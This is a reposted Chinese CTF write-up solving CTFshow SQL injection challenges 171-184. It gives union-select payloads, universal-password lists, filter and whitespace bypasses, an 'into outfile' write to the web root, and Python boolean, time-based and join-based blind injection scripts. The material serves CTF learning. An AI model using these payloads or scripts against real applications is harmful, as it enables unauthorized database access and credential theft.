CTFshow刷题日记-WEB-SQL注入part1(171-184)
Posted Ocean:)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-SQL注入part1(171-184)相关的知识,希望对你有一定的参考价值。
SQL注入篇-共150道
mysql字符串函数
UPPER(s) | 将字符串转换为大写 |
---|---|
UCASE(s) | 将字符串转换为大写 |
SUBSTRING(s, start, length) | 从字符串 s 的 start 位置截取长度为 length 的子字符串 |
SUBSTRING_INDEX(s, delimiter, number) | 返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。 如果 number 是正数,返回第 number 个字符左边的字符串。 如果 number 是负数,返回第(number 的绝对值(从右边数))个字符右边的字符串 |
SUBSTR(s, start, length) | 从字符串 s 的 start 位置截取长度为 length 的子字符串 |
STRCMP(s1,s2) | 比较字符串 s1 和 s2,如果 s1 与 s2 相等返回 0 ,如果 s1>s2 返回 1,如果 s1<s2 返回 -1 |
SPACE(n) | 返回 n 个空格 |
REVERSE(s) | 将字符串s的顺序反过来 |
POSITION(s1 IN s) | 从字符串 s 中获取 s1 的开始位置 |
MID(s,n,len) | 从字符串 s 的 n 位置截取长度为 len 的子字符串,同 SUBSTRING(s,n,len) |
LEFT(s,n) | 返回字符串 s 的前 n 个字符 |
CONCAT(s1,s2…sn) | 字符串 s1,s2 等多个字符串合并为一个字符串 |
无过滤注入
web171-单引号注入
熟悉一下前端
既然有查询语句还是比较简单的,没有过滤只用了单引号包裹
简单输出库名和版本
-2' union select 1,database(),version()--+
// -2是让多余的查询不在执行
知道了库名就去注表名
-1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
表名:ctfshow_user
注列名
-1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+
直接去查询
-1' union select id,username,password from ctfshow_user--+
找到flag
web172-编码绕过
一共有两个字段
查表
-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
发现两个表ctfshow_user,ctfshow_user2
两个表都是三个字段id,username,password
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2'--+
既然前端加了if判断,就要想办法绕过,直接把username字段用hex函数处理下,使用reverse
、to_base64
等函数都可以
-1' union select hex(username),password from ctfshow_user2--+
web173-编码绕过
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
查表
-1' union select 1,database(),table_name from information_schema.tables where table_schema=database()--+
查字段
-1' union select database(),version(),column_name from information_schema.columns where table_name='ctfshow_user3'--+
查值,根据返回逻辑,返回的字符串中不能出现flag字符串,因为flag字符串格式是ctfshow{},而且在password字段中,'flag’是username字段中出现,不查username字段即可,或者编码
-1' union select id,password,id from ctfshow_user3--+
-1' union select hex(username),password,id from ctfshow_user3--+
web174-布尔盲注
返回逻辑
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
不能出现数字,使用bp抓包发现 api 接口
http://95b4aead-adca-4267-a9c2-8f2edbb29f51.challenge.ctf.show:8080/api/v4.php
典型bool盲注,可以使用bp去爆破,也可以参考y4的脚本,脚本采用了二分法提高了爆破效率
# @Author:Y4tacker
import requests
url = "http://95b4aead-adca-4267-a9c2-8f2edbb29f51.challenge.ctf.show:8080/api/v4.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
运行脚本得到flag
web175-时间盲注
//检查结果是否有flag
if(!preg_match('/[\\x00-\\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
就是过滤了ASCII所有字符,就是说没有回显,但是可以执行sleep函数,进行时间盲注
这题同样是返回的 json 数据,也就是存在和前边的一样存在 api 接口
把上题的脚本改一下就行
import requests
url = "http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
try:
r = requests.get(url + payload, timeout=0.5)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
既然没有过滤,那就可以用写入文件的方式拿到flag,即可以写shell,而可以直接将flag写入txt文件中
/api/v5.php?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10
然后访问文件
过滤注入
web176-大写绕过
如果没有过滤的字符会正常报错
如果过滤字符会显示无数据
使用union select语句发现错误,那就是这里边有被过滤的了,大写替换union select
-1' UNION SELECT id,username,password from ctfshow_user--+
用字典fuzz一下,发现万能密码直接就能把所有用户和密码输出
1'or'1'='1'%23
'or(1)%23
a'or'a'='a--+
a'or' 1=1--+
'or'a'='a
"or"="a'='a
"or"="a'='a
"or"='
a'or'a'='a
'or username like '%
'or"='
x' or 1=1 or 'x'='y
'or" like '
web177-绕过空格
空格被绕过了
1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username='flag'%23
可以用万能密码绕过
1'or'1'='1'%23
web178-绕过空格
绕过空格和*号,可以使用%90绕过
1'union%09select%09password,1,1%09from%09ctfshow_user%09where%09username='flag'%23
可以用万能密码绕过
1'or'1'='1'%23
web179-绕过空格
%09被ban了,可以用%0c绕过
1'union%0cselect%0cpassword,1,1%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
可以用万能密码绕过
1'or'1'='1'%23
总结绕过空格
可以使用以下字符绕过空格
空格:%20, %09, %0a, %0b, %0c, %0d, %a0, /**/
web180–绕过#
过滤了%23、–+,用 --%0c-- 代替
1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'--%0c-
web181-182-无空格一句话
以上过滤了空格字符
id=-1’or(id=26)and’1’='1
web183-from后拼接盲注
查询语句的位置发生了变化
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
先抓包看一下传参,tableName就用前几题一样的 ctfshow_user 发现有回显 在 user_count
既然查询语句可以执行,并且可以拼接,只要在后边拼接上 where 语句做 bool 盲注就行
用法:substr(string string,num start,num length);
select substr(参数1,参数2,参数3) from 表名
string为字符串;start为起始位置;length为长度
注意:mysql中的start是从1开始的
例子:(查出kename字段中第一次出现.之前的字符串)
正确的话 user_count 的值为 1 这样的话就可以写脚本了
import requests
import string
url = "http://c023d7c2-e074-4a9c-a6dd-a037ff8afcd9.challenge.ctf.show:8080/select-waf.php"
strings = string.digits+string.ascii_letters+"-{}"
res = ""
for i in range(1,46):
for j in strings:
data = {
'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 1;") > 0:
res += j
print(res)
break
发现一个问题就是很有可能查错字段,但是这个题不管前缀是什么,花括号里的内容都是正确的
like 也是可以的
data = {
"tableName": "(ctfshow_user)where(substr(pass,1,{0})like('{1}'))".format(str(i), flag+j)
}
web184-right join连接查询
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\\*|\\x09|\\x0a|\\x0b|\\x0c|\\0x0d|\\xa0|\\x00|\\#|\\x23|file|\\=|or|\\x7c|select|and|flag|into|where|\\x26|\\'|\\"|union|\\`|sleep|benchmark/i', $str);
}
其中 where 被过滤了,需要使用连接查询
连接查询是另一种类型的多表查询。连接查询对多个表进行JOIN运算,简单地说,就是先确定一个主表作为结果集,然后,把其他表的行有选择性地“连接”在主表结果集上
注意INNER JOIN查询的写法是:
- 先确定主表,仍然使用
FROM <表1>
的语法;- 再确定需要连接的表,使用
INNER JOIN <表2>
的语法;- 然后确定连接条件,使用
ON <条件...>
,这里的条件是s.class_id = c.id
,表示students
表的class_id
列与classes
表的id
列相同的行需要连接;- 可选:加上
WHERE
子句、ORDER BY
等子句。https://www.liaoxuefeng.com/wiki/1177760294764384/1179610888796448
ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,1)regexp(char(c)))
- as 是别名关键字
- SELECT column_name AS alias_name
import requests
url = "http://13715c23-8967-4d2d-8be7-9fa98d5ce39a.challenge.ctf.show:8080/select-waf.php"
flag = 'flag{'
for i in range(45):
# flag 长度范围
if i <= 5:
continue
for j in range(127):
# flag 的ascii码范围
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
}
res = requests.post(url, data = data)
if res.text.find("$user_count = 43;") > 0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break
参考:
y4tacker师傅的博客
以上是关于CTFshow刷题日记-WEB-SQL注入part1(171-184)的主要内容,如果未能解决你的问题,请参考以下文章
CTFshow刷题日记-WEB-黑盒测试(web380-395)文件包含日志包含getshellSQL注入